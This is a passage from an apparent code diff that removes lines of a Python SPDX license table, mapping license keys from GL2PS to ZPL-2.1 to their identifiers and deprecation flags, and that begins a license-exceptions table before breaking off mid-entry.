'gl2ps': {'id': 'GL2PS', 'deprecated': False}, - 'glide': {'id': 'Glide', 'deprecated': False}, - 'glulxe': {'id': 'Glulxe', 'deprecated': False}, - 'glwtpl': {'id': 'GLWTPL', 'deprecated': False}, - 'gnuplot': {'id': 'gnuplot', 'deprecated': False}, - 'gpl-1.0': {'id': 'GPL-1.0', 'deprecated': True}, - 'gpl-1.0+': {'id': 'GPL-1.0+', 'deprecated': True}, - 'gpl-1.0-only': {'id': 'GPL-1.0-only', 'deprecated': False}, - 'gpl-1.0-or-later': {'id': 'GPL-1.0-or-later', 'deprecated': False}, - 'gpl-2.0': {'id': 'GPL-2.0', 'deprecated': True}, - 'gpl-2.0+': {'id': 'GPL-2.0+', 'deprecated': True}, - 'gpl-2.0-only': {'id': 'GPL-2.0-only', 'deprecated': False}, - 'gpl-2.0-or-later': {'id': 'GPL-2.0-or-later', 'deprecated': False}, - 'gpl-2.0-with-autoconf-exception': {'id': 'GPL-2.0-with-autoconf-exception', 'deprecated': True}, - 'gpl-2.0-with-bison-exception': {'id': 'GPL-2.0-with-bison-exception', 'deprecated': True}, - 'gpl-2.0-with-classpath-exception': {'id': 'GPL-2.0-with-classpath-exception', 'deprecated': True}, - 'gpl-2.0-with-font-exception': {'id': 'GPL-2.0-with-font-exception', 'deprecated': True}, - 'gpl-2.0-with-gcc-exception': {'id': 'GPL-2.0-with-GCC-exception', 'deprecated': True}, - 'gpl-3.0': {'id': 'GPL-3.0', 'deprecated': True}, - 'gpl-3.0+': {'id': 'GPL-3.0+', 'deprecated': True}, - 'gpl-3.0-only': {'id': 'GPL-3.0-only', 'deprecated': False}, - 'gpl-3.0-or-later': {'id': 'GPL-3.0-or-later', 'deprecated': False}, - 'gpl-3.0-with-autoconf-exception': {'id': 'GPL-3.0-with-autoconf-exception', 'deprecated': True}, - 'gpl-3.0-with-gcc-exception': {'id': 'GPL-3.0-with-GCC-exception', 'deprecated': True}, - 'graphics-gems': {'id': 'Graphics-Gems', 'deprecated': False}, - 'gsoap-1.3b': {'id': 'gSOAP-1.3b', 'deprecated': False}, - 'gtkbook': {'id': 'gtkbook', 'deprecated': False}, - 'gutmann': {'id': 'Gutmann', 'deprecated': False}, - 'haskellreport': {'id': 'HaskellReport', 'deprecated': False}, - 'hdf5': {'id': 'HDF5', 'deprecated': False}, - 'hdparm': {'id': 'hdparm', 'deprecated': False}, - 'hidapi': {'id': 'HIDAPI', 'deprecated': False}, - 'hippocratic-2.1': {'id': 'Hippocratic-2.1', 'deprecated': False}, - 'hp-1986': {'id': 'HP-1986', 'deprecated': False}, - 'hp-1989': {'id': 'HP-1989', 'deprecated': False}, - 'hpnd': {'id': 'HPND', 'deprecated': False}, - 'hpnd-dec': {'id': 'HPND-DEC', 'deprecated': False}, - 'hpnd-doc': {'id': 'HPND-doc', 'deprecated': False}, - 'hpnd-doc-sell': {'id': 'HPND-doc-sell', 'deprecated': False}, - 'hpnd-export-us': {'id': 'HPND-export-US', 'deprecated': False}, - 'hpnd-export-us-acknowledgement': {'id': 'HPND-export-US-acknowledgement', 'deprecated': False}, - 'hpnd-export-us-modify': {'id': 'HPND-export-US-modify', 'deprecated': False}, - 'hpnd-export2-us': {'id': 'HPND-export2-US', 'deprecated': False}, - 'hpnd-fenneberg-livingston': {'id': 'HPND-Fenneberg-Livingston', 'deprecated': False}, - 'hpnd-inria-imag': {'id': 'HPND-INRIA-IMAG', 'deprecated': False}, - 'hpnd-intel': {'id': 'HPND-Intel', 'deprecated': False}, - 'hpnd-kevlin-henney': {'id': 'HPND-Kevlin-Henney', 'deprecated': False}, - 'hpnd-markus-kuhn': {'id': 'HPND-Markus-Kuhn', 'deprecated': False}, - 'hpnd-merchantability-variant': {'id': 'HPND-merchantability-variant', 'deprecated': False}, - 'hpnd-mit-disclaimer': {'id': 'HPND-MIT-disclaimer', 'deprecated': False}, - 'hpnd-netrek': {'id': 'HPND-Netrek', 'deprecated': False}, - 'hpnd-pbmplus': {'id': 'HPND-Pbmplus', 'deprecated': False}, - 'hpnd-sell-mit-disclaimer-xserver': {'id': 'HPND-sell-MIT-disclaimer-xserver', 'deprecated': False}, - 'hpnd-sell-regexpr': {'id': 'HPND-sell-regexpr', 'deprecated': False}, - 'hpnd-sell-variant': {'id': 'HPND-sell-variant', 'deprecated': False}, - 'hpnd-sell-variant-mit-disclaimer': {'id': 'HPND-sell-variant-MIT-disclaimer', 'deprecated': False}, - 'hpnd-sell-variant-mit-disclaimer-rev': {'id': 'HPND-sell-variant-MIT-disclaimer-rev', 'deprecated': False}, - 'hpnd-uc': {'id': 'HPND-UC', 'deprecated': False}, - 'hpnd-uc-export-us': {'id': 'HPND-UC-export-US', 'deprecated': False}, - 'htmltidy': {'id': 'HTMLTIDY', 'deprecated': False}, - 'ibm-pibs': {'id': 'IBM-pibs', 'deprecated': False}, - 'icu': {'id': 'ICU', 'deprecated': False}, - 'iec-code-components-eula': {'id': 'IEC-Code-Components-EULA', 'deprecated': False}, - 'ijg': {'id': 'IJG', 'deprecated': False}, - 'ijg-short': {'id': 'IJG-short', 'deprecated': False}, - 'imagemagick': {'id': 'ImageMagick', 'deprecated': False}, - 'imatix': {'id': 'iMatix', 'deprecated': False}, - 'imlib2': {'id': 'Imlib2', 'deprecated': False}, - 'info-zip': {'id': 'Info-ZIP', 'deprecated': False}, - 'inner-net-2.0': {'id': 'Inner-Net-2.0', 'deprecated': False}, - 'innosetup': {'id': 'InnoSetup', 'deprecated': False}, - 'intel': {'id': 'Intel', 'deprecated': False}, - 'intel-acpi': {'id': 'Intel-ACPI', 'deprecated': False}, - 'interbase-1.0': {'id': 'Interbase-1.0', 'deprecated': False}, - 'ipa': {'id': 'IPA', 'deprecated': False}, - 'ipl-1.0': {'id': 'IPL-1.0', 'deprecated': False}, - 'isc': {'id': 'ISC', 'deprecated': False}, - 'isc-veillard': {'id': 'ISC-Veillard', 'deprecated': False}, - 'jam': {'id': 'Jam', 'deprecated': False}, - 'jasper-2.0': {'id': 'JasPer-2.0', 'deprecated': False}, - 'jove': {'id': 'jove', 'deprecated': False}, - 'jpl-image': {'id': 'JPL-image', 'deprecated': False}, - 'jpnic': {'id': 'JPNIC', 'deprecated': False}, - 'json': {'id': 'JSON', 'deprecated': False}, - 'kastrup': {'id': 'Kastrup', 'deprecated': False}, - 'kazlib': {'id': 'Kazlib', 'deprecated': False}, - 'knuth-ctan': {'id': 'Knuth-CTAN', 'deprecated': False}, - 'lal-1.2': {'id': 'LAL-1.2', 'deprecated': False}, - 'lal-1.3': {'id': 'LAL-1.3', 'deprecated': False}, - 'latex2e': {'id': 'Latex2e', 'deprecated': False}, - 'latex2e-translated-notice': {'id': 'Latex2e-translated-notice', 'deprecated': False}, - 'leptonica': {'id': 'Leptonica', 'deprecated': False}, - 'lgpl-2.0': {'id': 'LGPL-2.0', 'deprecated': True}, - 'lgpl-2.0+': {'id': 'LGPL-2.0+', 'deprecated': True}, - 'lgpl-2.0-only': {'id': 'LGPL-2.0-only', 'deprecated': False}, - 'lgpl-2.0-or-later': {'id': 'LGPL-2.0-or-later', 'deprecated': False}, - 'lgpl-2.1': {'id': 'LGPL-2.1', 'deprecated': True}, - 'lgpl-2.1+': {'id': 'LGPL-2.1+', 'deprecated': True}, - 'lgpl-2.1-only': {'id': 'LGPL-2.1-only', 'deprecated': False}, - 'lgpl-2.1-or-later': {'id': 'LGPL-2.1-or-later', 'deprecated': False}, - 'lgpl-3.0': {'id': 'LGPL-3.0', 'deprecated': True}, - 'lgpl-3.0+': {'id': 'LGPL-3.0+', 'deprecated': True}, - 'lgpl-3.0-only': {'id': 'LGPL-3.0-only', 'deprecated': False}, - 'lgpl-3.0-or-later': {'id': 'LGPL-3.0-or-later', 'deprecated': False}, - 'lgpllr': {'id': 'LGPLLR', 'deprecated': False}, - 'libpng': {'id': 'Libpng', 'deprecated': False}, - 'libpng-1.6.35': {'id': 'libpng-1.6.35', 'deprecated': False}, - 'libpng-2.0': {'id': 'libpng-2.0', 'deprecated': False}, - 'libselinux-1.0': {'id': 'libselinux-1.0', 'deprecated': False}, - 'libtiff': {'id': 'libtiff', 'deprecated': False}, - 'libutil-david-nugent': {'id': 'libutil-David-Nugent', 'deprecated': False}, - 'liliq-p-1.1': {'id': 'LiLiQ-P-1.1', 'deprecated': False}, - 'liliq-r-1.1': {'id': 'LiLiQ-R-1.1', 'deprecated': False}, - 'liliq-rplus-1.1': {'id': 'LiLiQ-Rplus-1.1', 'deprecated': False}, - 'linux-man-pages-1-para': {'id': 'Linux-man-pages-1-para', 'deprecated': False}, - 'linux-man-pages-copyleft': {'id': 'Linux-man-pages-copyleft', 'deprecated': False}, - 'linux-man-pages-copyleft-2-para': {'id': 'Linux-man-pages-copyleft-2-para', 'deprecated': False}, - 'linux-man-pages-copyleft-var': {'id': 'Linux-man-pages-copyleft-var', 'deprecated': False}, - 'linux-openib': {'id': 'Linux-OpenIB', 'deprecated': False}, - 'loop': {'id': 'LOOP', 'deprecated': False}, - 'lpd-document': {'id': 'LPD-document', 'deprecated': False}, - 'lpl-1.0': {'id': 'LPL-1.0', 'deprecated': False}, - 'lpl-1.02': {'id': 'LPL-1.02', 'deprecated': False}, - 'lppl-1.0': {'id': 'LPPL-1.0', 'deprecated': False}, - 'lppl-1.1': {'id': 'LPPL-1.1', 'deprecated': False}, - 'lppl-1.2': {'id': 'LPPL-1.2', 'deprecated': False}, - 'lppl-1.3a': {'id': 'LPPL-1.3a', 'deprecated': False}, - 'lppl-1.3c': {'id': 'LPPL-1.3c', 'deprecated': False}, - 'lsof': {'id': 'lsof', 'deprecated': False}, - 'lucida-bitmap-fonts': {'id': 'Lucida-Bitmap-Fonts', 'deprecated': False}, - 'lzma-sdk-9.11-to-9.20': {'id': 'LZMA-SDK-9.11-to-9.20', 'deprecated': False}, - 'lzma-sdk-9.22': {'id': 'LZMA-SDK-9.22', 'deprecated': False}, - 'mackerras-3-clause': {'id': 'Mackerras-3-Clause', 'deprecated': False}, - 'mackerras-3-clause-acknowledgment': {'id': 'Mackerras-3-Clause-acknowledgment', 'deprecated': False}, - 'magaz': {'id': 'magaz', 'deprecated': False}, - 'mailprio': {'id': 'mailprio', 'deprecated': False}, - 'makeindex': {'id': 'MakeIndex', 'deprecated': False}, - 'man2html': {'id': 'man2html', 'deprecated': False}, - 'martin-birgmeier': {'id': 'Martin-Birgmeier', 'deprecated': False}, - 'mcphee-slideshow': {'id': 'McPhee-slideshow', 'deprecated': False}, - 'metamail': {'id': 'metamail', 'deprecated': False}, - 'minpack': {'id': 'Minpack', 'deprecated': False}, - 'mips': {'id': 'MIPS', 'deprecated': False}, - 'miros': {'id': 'MirOS', 'deprecated': False}, - 'mit': {'id': 'MIT', 'deprecated': False}, - 'mit-0': {'id': 'MIT-0', 'deprecated': False}, - 'mit-advertising': {'id': 'MIT-advertising', 'deprecated': False}, - 'mit-click': {'id': 'MIT-Click', 'deprecated': False}, - 'mit-cmu': {'id': 'MIT-CMU', 'deprecated': False}, - 'mit-enna': {'id': 'MIT-enna', 'deprecated': False}, - 'mit-feh': {'id': 'MIT-feh', 'deprecated': False}, - 'mit-festival': {'id': 'MIT-Festival', 'deprecated': False}, - 'mit-khronos-old': {'id': 'MIT-Khronos-old', 'deprecated': False}, - 'mit-modern-variant': {'id': 'MIT-Modern-Variant', 'deprecated': False}, - 'mit-open-group': {'id': 'MIT-open-group', 'deprecated': False}, - 'mit-testregex': {'id': 'MIT-testregex', 'deprecated': False}, - 'mit-wu': {'id': 'MIT-Wu', 'deprecated': False}, - 'mitnfa': {'id': 'MITNFA', 'deprecated': False}, - 'mmixware': {'id': 'MMIXware', 'deprecated': False}, - 'motosoto': {'id': 'Motosoto', 'deprecated': False}, - 'mpeg-ssg': {'id': 'MPEG-SSG', 'deprecated': False}, - 'mpi-permissive': {'id': 'mpi-permissive', 'deprecated': False}, - 'mpich2': {'id': 'mpich2', 'deprecated': False}, - 'mpl-1.0': {'id': 'MPL-1.0', 'deprecated': False}, - 'mpl-1.1': {'id': 'MPL-1.1', 'deprecated': False}, - 'mpl-2.0': {'id': 'MPL-2.0', 'deprecated': False}, - 'mpl-2.0-no-copyleft-exception': {'id': 'MPL-2.0-no-copyleft-exception', 'deprecated': False}, - 'mplus': {'id': 'mplus', 'deprecated': False}, - 'ms-lpl': {'id': 'MS-LPL', 'deprecated': False}, - 'ms-pl': {'id': 'MS-PL', 'deprecated': False}, - 'ms-rl': {'id': 'MS-RL', 'deprecated': False}, - 'mtll': {'id': 'MTLL', 'deprecated': False}, - 'mulanpsl-1.0': {'id': 'MulanPSL-1.0', 'deprecated': False}, - 'mulanpsl-2.0': {'id': 'MulanPSL-2.0', 'deprecated': False}, - 'multics': {'id': 'Multics', 'deprecated': False}, - 'mup': {'id': 'Mup', 'deprecated': False}, - 'naist-2003': {'id': 'NAIST-2003', 'deprecated': False}, - 'nasa-1.3': {'id': 'NASA-1.3', 'deprecated': False}, - 'naumen': {'id': 'Naumen', 'deprecated': False}, - 'nbpl-1.0': {'id': 'NBPL-1.0', 'deprecated': False}, - 'ncbi-pd': {'id': 'NCBI-PD', 'deprecated': False}, - 'ncgl-uk-2.0': {'id': 'NCGL-UK-2.0', 'deprecated': False}, - 'ncl': {'id': 'NCL', 'deprecated': False}, - 'ncsa': {'id': 'NCSA', 'deprecated': False}, - 'net-snmp': {'id': 'Net-SNMP', 'deprecated': True}, - 'netcdf': {'id': 'NetCDF', 'deprecated': False}, - 'newsletr': {'id': 'Newsletr', 'deprecated': False}, - 'ngpl': {'id': 'NGPL', 'deprecated': False}, - 'ngrep': {'id': 'ngrep', 'deprecated': False}, - 'nicta-1.0': {'id': 'NICTA-1.0', 'deprecated': False}, - 'nist-pd': {'id': 'NIST-PD', 'deprecated': False}, - 'nist-pd-fallback': {'id': 'NIST-PD-fallback', 'deprecated': False}, - 'nist-software': {'id': 'NIST-Software', 'deprecated': False}, - 'nlod-1.0': {'id': 'NLOD-1.0', 'deprecated': False}, - 'nlod-2.0': {'id': 'NLOD-2.0', 'deprecated': False}, - 'nlpl': {'id': 'NLPL', 'deprecated': False}, - 'nokia': {'id': 'Nokia', 'deprecated': False}, - 'nosl': {'id': 'NOSL', 'deprecated': False}, - 'noweb': {'id': 'Noweb', 'deprecated': False}, - 'npl-1.0': {'id': 'NPL-1.0', 'deprecated': False}, - 'npl-1.1': {'id': 'NPL-1.1', 'deprecated': False}, - 'nposl-3.0': {'id': 'NPOSL-3.0', 'deprecated': False}, - 'nrl': {'id': 'NRL', 'deprecated': False}, - 'ntia-pd': {'id': 'NTIA-PD', 'deprecated': False}, - 'ntp': {'id': 'NTP', 'deprecated': False}, - 'ntp-0': {'id': 'NTP-0', 'deprecated': False}, - 'nunit': {'id': 'Nunit', 'deprecated': True}, - 'o-uda-1.0': {'id': 'O-UDA-1.0', 'deprecated': False}, - 'oar': {'id': 'OAR', 'deprecated': False}, - 'occt-pl': {'id': 'OCCT-PL', 'deprecated': False}, - 'oclc-2.0': {'id': 'OCLC-2.0', 'deprecated': False}, - 'odbl-1.0': {'id': 'ODbL-1.0', 'deprecated': False}, - 'odc-by-1.0': {'id': 'ODC-By-1.0', 'deprecated': False}, - 'offis': {'id': 'OFFIS', 'deprecated': False}, - 'ofl-1.0': {'id': 'OFL-1.0', 'deprecated': False}, - 'ofl-1.0-no-rfn': {'id': 'OFL-1.0-no-RFN', 'deprecated': False}, - 'ofl-1.0-rfn': {'id': 'OFL-1.0-RFN', 'deprecated': False}, - 'ofl-1.1': {'id': 'OFL-1.1', 'deprecated': False}, - 'ofl-1.1-no-rfn': {'id': 'OFL-1.1-no-RFN', 'deprecated': False}, - 'ofl-1.1-rfn': {'id': 'OFL-1.1-RFN', 'deprecated': False}, - 'ogc-1.0': {'id': 'OGC-1.0', 'deprecated': False}, - 'ogdl-taiwan-1.0': {'id': 'OGDL-Taiwan-1.0', 'deprecated': False}, - 'ogl-canada-2.0': {'id': 'OGL-Canada-2.0', 'deprecated': False}, - 'ogl-uk-1.0': {'id': 'OGL-UK-1.0', 'deprecated': False}, - 'ogl-uk-2.0': {'id': 'OGL-UK-2.0', 'deprecated': False}, - 'ogl-uk-3.0': {'id': 'OGL-UK-3.0', 'deprecated': False}, - 'ogtsl': {'id': 'OGTSL', 'deprecated': False}, - 'oldap-1.1': {'id': 'OLDAP-1.1', 'deprecated': False}, - 'oldap-1.2': {'id': 'OLDAP-1.2', 'deprecated': False}, - 'oldap-1.3': {'id': 'OLDAP-1.3', 'deprecated': False}, - 'oldap-1.4': {'id': 'OLDAP-1.4', 'deprecated': False}, - 'oldap-2.0': {'id': 'OLDAP-2.0', 'deprecated': False}, - 'oldap-2.0.1': {'id': 'OLDAP-2.0.1', 'deprecated': False}, - 'oldap-2.1': {'id': 'OLDAP-2.1', 'deprecated': False}, - 'oldap-2.2': {'id': 'OLDAP-2.2', 'deprecated': False}, - 'oldap-2.2.1': {'id': 'OLDAP-2.2.1', 'deprecated': False}, - 'oldap-2.2.2': {'id': 'OLDAP-2.2.2', 'deprecated': False}, - 'oldap-2.3': {'id': 'OLDAP-2.3', 'deprecated': False}, - 'oldap-2.4': {'id': 'OLDAP-2.4', 'deprecated': False}, - 'oldap-2.5': {'id': 'OLDAP-2.5', 'deprecated': False}, - 'oldap-2.6': {'id': 'OLDAP-2.6', 'deprecated': False}, - 'oldap-2.7': {'id': 'OLDAP-2.7', 'deprecated': False}, - 'oldap-2.8': {'id': 'OLDAP-2.8', 'deprecated': False}, - 'olfl-1.3': {'id': 'OLFL-1.3', 'deprecated': False}, - 'oml': {'id': 'OML', 'deprecated': False}, - 'openpbs-2.3': {'id': 'OpenPBS-2.3', 'deprecated': False}, - 'openssl': {'id': 'OpenSSL', 'deprecated': False}, - 'openssl-standalone': {'id': 'OpenSSL-standalone', 'deprecated': False}, - 'openvision': {'id': 'OpenVision', 'deprecated': False}, - 'opl-1.0': {'id': 'OPL-1.0', 'deprecated': False}, - 'opl-uk-3.0': {'id': 'OPL-UK-3.0', 'deprecated': False}, - 'opubl-1.0': {'id': 'OPUBL-1.0', 'deprecated': False}, - 'oset-pl-2.1': {'id': 'OSET-PL-2.1', 'deprecated': False}, - 'osl-1.0': {'id': 'OSL-1.0', 'deprecated': False}, - 'osl-1.1': {'id': 'OSL-1.1', 'deprecated': False}, - 'osl-2.0': {'id': 'OSL-2.0', 'deprecated': False}, - 'osl-2.1': {'id': 'OSL-2.1', 'deprecated': False}, - 'osl-3.0': {'id': 'OSL-3.0', 'deprecated': False}, - 'padl': {'id': 'PADL', 'deprecated': False}, - 'parity-6.0.0': {'id': 'Parity-6.0.0', 'deprecated': False}, - 'parity-7.0.0': {'id': 'Parity-7.0.0', 'deprecated': False}, - 'pddl-1.0': {'id': 'PDDL-1.0', 'deprecated': False}, - 'php-3.0': {'id': 'PHP-3.0', 'deprecated': False}, - 'php-3.01': {'id': 'PHP-3.01', 'deprecated': False}, - 'pixar': {'id': 'Pixar', 'deprecated': False}, - 'pkgconf': {'id': 'pkgconf', 'deprecated': False}, - 'plexus': {'id': 'Plexus', 'deprecated': False}, - 'pnmstitch': {'id': 'pnmstitch', 'deprecated': False}, - 'polyform-noncommercial-1.0.0': {'id': 'PolyForm-Noncommercial-1.0.0', 'deprecated': False}, - 'polyform-small-business-1.0.0': {'id': 'PolyForm-Small-Business-1.0.0', 'deprecated': False}, - 'postgresql': {'id': 'PostgreSQL', 'deprecated': False}, - 'ppl': {'id': 'PPL', 'deprecated': False}, - 'psf-2.0': {'id': 'PSF-2.0', 'deprecated': False}, - 'psfrag': {'id': 'psfrag', 'deprecated': False}, - 'psutils': {'id': 'psutils', 'deprecated': False}, - 'python-2.0': {'id': 'Python-2.0', 'deprecated': False}, - 'python-2.0.1': {'id': 'Python-2.0.1', 'deprecated': False}, - 'python-ldap': {'id': 'python-ldap', 'deprecated': False}, - 'qhull': {'id': 'Qhull', 'deprecated': False}, - 'qpl-1.0': {'id': 'QPL-1.0', 'deprecated': False}, - 'qpl-1.0-inria-2004': {'id': 'QPL-1.0-INRIA-2004', 'deprecated': False}, - 'radvd': {'id': 'radvd', 'deprecated': False}, - 'rdisc': {'id': 'Rdisc', 'deprecated': False}, - 'rhecos-1.1': {'id': 'RHeCos-1.1', 'deprecated': False}, - 'rpl-1.1': {'id': 'RPL-1.1', 'deprecated': False}, - 'rpl-1.5': {'id': 'RPL-1.5', 'deprecated': False}, - 'rpsl-1.0': {'id': 'RPSL-1.0', 'deprecated': False}, - 'rsa-md': {'id': 'RSA-MD', 'deprecated': False}, - 'rscpl': {'id': 'RSCPL', 'deprecated': False}, - 'ruby': {'id': 'Ruby', 'deprecated': False}, - 'ruby-pty': {'id': 'Ruby-pty', 'deprecated': False}, - 'sax-pd': {'id': 'SAX-PD', 'deprecated': False}, - 'sax-pd-2.0': {'id': 'SAX-PD-2.0', 'deprecated': False}, - 'saxpath': {'id': 'Saxpath', 'deprecated': False}, - 'scea': {'id': 'SCEA', 'deprecated': False}, - 'schemereport': {'id': 'SchemeReport', 'deprecated': False}, - 'sendmail': {'id': 'Sendmail', 'deprecated': False}, - 'sendmail-8.23': {'id': 'Sendmail-8.23', 'deprecated': False}, - 'sendmail-open-source-1.1': {'id': 'Sendmail-Open-Source-1.1', 'deprecated': False}, - 'sgi-b-1.0': {'id': 'SGI-B-1.0', 'deprecated': False}, - 'sgi-b-1.1': {'id': 'SGI-B-1.1', 'deprecated': False}, - 'sgi-b-2.0': {'id': 'SGI-B-2.0', 'deprecated': False}, - 'sgi-opengl': {'id': 'SGI-OpenGL', 'deprecated': False}, - 'sgp4': {'id': 'SGP4', 'deprecated': False}, - 'shl-0.5': {'id': 'SHL-0.5', 'deprecated': False}, - 'shl-0.51': {'id': 'SHL-0.51', 'deprecated': False}, - 'simpl-2.0': {'id': 'SimPL-2.0', 'deprecated': False}, - 'sissl': {'id': 'SISSL', 'deprecated': False}, - 'sissl-1.2': {'id': 'SISSL-1.2', 'deprecated': False}, - 'sl': {'id': 'SL', 'deprecated': False}, - 'sleepycat': {'id': 'Sleepycat', 'deprecated': False}, - 'smail-gpl': {'id': 'SMAIL-GPL', 'deprecated': False}, - 'smlnj': {'id': 'SMLNJ', 'deprecated': False}, - 'smppl': {'id': 'SMPPL', 'deprecated': False}, - 'snia': {'id': 'SNIA', 'deprecated': False}, - 'snprintf': {'id': 'snprintf', 'deprecated': False}, - 'sofa': {'id': 'SOFA', 'deprecated': False}, - 'softsurfer': {'id': 'softSurfer', 'deprecated': False}, - 'soundex': {'id': 'Soundex', 'deprecated': False}, - 'spencer-86': {'id': 'Spencer-86', 'deprecated': False}, - 'spencer-94': {'id': 'Spencer-94', 'deprecated': False}, - 'spencer-99': {'id': 'Spencer-99', 'deprecated': False}, - 'spl-1.0': {'id': 'SPL-1.0', 'deprecated': False}, - 'ssh-keyscan': {'id': 'ssh-keyscan', 'deprecated': False}, - 'ssh-openssh': {'id': 'SSH-OpenSSH', 'deprecated': False}, - 'ssh-short': {'id': 'SSH-short', 'deprecated': False}, - 'ssleay-standalone': {'id': 'SSLeay-standalone', 'deprecated': False}, - 'sspl-1.0': {'id': 'SSPL-1.0', 'deprecated': False}, - 'standardml-nj': {'id': 'StandardML-NJ', 'deprecated': True}, - 'sugarcrm-1.1.3': {'id': 'SugarCRM-1.1.3', 'deprecated': False}, - 'sul-1.0': {'id': 'SUL-1.0', 'deprecated': False}, - 'sun-ppp': {'id': 'Sun-PPP', 'deprecated': False}, - 'sun-ppp-2000': {'id': 'Sun-PPP-2000', 'deprecated': False}, - 'sunpro': {'id': 'SunPro', 'deprecated': False}, - 'swl': {'id': 'SWL', 'deprecated': False}, - 'swrule': {'id': 'swrule', 'deprecated': False}, - 'symlinks': {'id': 'Symlinks', 'deprecated': False}, - 'tapr-ohl-1.0': {'id': 'TAPR-OHL-1.0', 'deprecated': False}, - 'tcl': {'id': 'TCL', 'deprecated': False}, - 'tcp-wrappers': {'id': 'TCP-wrappers', 'deprecated': False}, - 'termreadkey': {'id': 'TermReadKey', 'deprecated': False}, - 'tgppl-1.0': {'id': 'TGPPL-1.0', 'deprecated': False}, - 'thirdeye': {'id': 'ThirdEye', 'deprecated': False}, - 'threeparttable': {'id': 'threeparttable', 'deprecated': False}, - 'tmate': {'id': 'TMate', 'deprecated': False}, - 'torque-1.1': {'id': 'TORQUE-1.1', 'deprecated': False}, - 'tosl': {'id': 'TOSL', 'deprecated': False}, - 'tpdl': {'id': 'TPDL', 'deprecated': False}, - 'tpl-1.0': {'id': 'TPL-1.0', 'deprecated': False}, - 'trustedqsl': {'id': 'TrustedQSL', 'deprecated': False}, - 'ttwl': {'id': 'TTWL', 'deprecated': False}, - 'ttyp0': {'id': 'TTYP0', 'deprecated': False}, - 'tu-berlin-1.0': {'id': 'TU-Berlin-1.0', 'deprecated': False}, - 'tu-berlin-2.0': {'id': 'TU-Berlin-2.0', 'deprecated': False}, - 'ubuntu-font-1.0': {'id': 'Ubuntu-font-1.0', 'deprecated': False}, - 'ucar': {'id': 'UCAR', 'deprecated': False}, - 'ucl-1.0': {'id': 'UCL-1.0', 'deprecated': False}, - 'ulem': {'id': 'ulem', 'deprecated': False}, - 'umich-merit': {'id': 'UMich-Merit', 'deprecated': False}, - 'unicode-3.0': {'id': 'Unicode-3.0', 'deprecated': False}, - 'unicode-dfs-2015': {'id': 'Unicode-DFS-2015', 'deprecated': False}, - 'unicode-dfs-2016': {'id': 'Unicode-DFS-2016', 'deprecated': False}, - 'unicode-tou': {'id': 'Unicode-TOU', 'deprecated': False}, - 'unixcrypt': {'id': 'UnixCrypt', 'deprecated': False}, - 'unlicense': {'id': 'Unlicense', 'deprecated': False}, - 'unlicense-libtelnet': {'id': 'Unlicense-libtelnet', 'deprecated': False}, - 'unlicense-libwhirlpool': {'id': 'Unlicense-libwhirlpool', 'deprecated': False}, - 'upl-1.0': {'id': 'UPL-1.0', 'deprecated': False}, - 'urt-rle': {'id': 'URT-RLE', 'deprecated': False}, - 'vim': {'id': 'Vim', 'deprecated': False}, - 'vostrom': {'id': 'VOSTROM', 'deprecated': False}, - 'vsl-1.0': {'id': 'VSL-1.0', 'deprecated': False}, - 'w3c': {'id': 'W3C', 'deprecated': False}, - 'w3c-19980720': {'id': 'W3C-19980720', 'deprecated': False}, - 'w3c-20150513': {'id': 'W3C-20150513', 'deprecated': False}, - 'w3m': {'id': 'w3m', 'deprecated': False}, - 'watcom-1.0': {'id': 'Watcom-1.0', 'deprecated': False}, - 'widget-workshop': {'id': 'Widget-Workshop', 'deprecated': False}, - 'wsuipa': {'id': 'Wsuipa', 'deprecated': False}, - 'wtfpl': {'id': 'WTFPL', 'deprecated': False}, - 'wwl': {'id': 'wwl', 'deprecated': False}, - 'wxwindows': {'id': 'wxWindows', 'deprecated': True}, - 'x11': {'id': 'X11', 'deprecated': False}, - 'x11-distribute-modifications-variant': {'id': 'X11-distribute-modifications-variant', 'deprecated': False}, - 'x11-swapped': {'id': 'X11-swapped', 'deprecated': False}, - 'xdebug-1.03': {'id': 'Xdebug-1.03', 'deprecated': False}, - 'xerox': {'id': 'Xerox', 'deprecated': False}, - 'xfig': {'id': 'Xfig', 'deprecated': False}, - 'xfree86-1.1': {'id': 'XFree86-1.1', 'deprecated': False}, - 'xinetd': {'id': 'xinetd', 'deprecated': False}, - 'xkeyboard-config-zinoviev': {'id': 'xkeyboard-config-Zinoviev', 'deprecated': False}, - 'xlock': {'id': 'xlock', 'deprecated': False}, - 'xnet': {'id': 'Xnet', 'deprecated': False}, - 'xpp': {'id': 'xpp', 'deprecated': False}, - 'xskat': {'id': 'XSkat', 'deprecated': False}, - 'xzoom': {'id': 'xzoom', 'deprecated': False}, - 'ypl-1.0': {'id': 'YPL-1.0', 'deprecated': False}, - 'ypl-1.1': {'id': 'YPL-1.1', 'deprecated': False}, - 'zed': {'id': 'Zed', 'deprecated': False}, - 'zeeff': {'id': 'Zeeff', 'deprecated': False}, - 'zend-2.0': {'id': 'Zend-2.0', 'deprecated': False}, - 'zimbra-1.3': {'id': 'Zimbra-1.3', 'deprecated': False}, - 'zimbra-1.4': {'id': 'Zimbra-1.4', 'deprecated': False}, - 'zlib': {'id': 'Zlib', 'deprecated': False}, - 'zlib-acknowledgement': {'id': 'zlib-acknowledgement', 'deprecated': False}, - 'zpl-1.1': {'id': 'ZPL-1.1', 'deprecated': False}, - 'zpl-2.0': {'id': 'ZPL-2.0', 'deprecated': False}, - 'zpl-2.1': {'id': 'ZPL-2.1', 'deprecated': False}, -} - -EXCEPTIONS: dict[str, SPDXException] = { - '389-exception': {'id': '389-exception', 'deprecated': False}, - 'asterisk-exception': {'id': 'Asterisk-exception', 'deprecated': False}, - 'asterisk-linking-protocols-exception': {'id': 'Asterisk-linking-protocols-exception', 'deprecated': False}, - 'autoconf-exception-2.0': {'id': 'Autoconf-exception-2.0', 'deprecated': False}, - 'autoconf-exception-3.0': {'id': 'Autoconf-exception-3.0', 'deprecated': False}, - 'autoconf-exception-generic': {'id': 'Autoconf-exception-generic', 'deprecated': False}, - 'autoconf-exception-generic-3.0': {'id': 'Autoconf-exception-generic-3.0', 'deprecated': False}, - 'autoconf-exception-macro': {'id': 'Autoconf-exception-macro', 'deprecated': False}, - 'bison-exception-1.24': {'id': 'Bison-exception-1.24', 'deprecated': False}, - 'bison-exception-2.2': {'id': 'Bison-exception-2.2', 'deprecated': False}, - 'bootloader-exception': {'id': 'Bootloader-exception', 'deprecated': False}, - 'cgal-linking-exception': {'id': 'CGAL-linking-exception', 'deprecated': False}, - 'classpath-exception-2.0': {'id': 'Classpath-exception-2.0', 'deprecated': False}, - 'clisp-exception-2.0': {'id': 'CLISP-exception-2.0', 'deprecated': False}, - 'cryptsetup-openssl-exception': 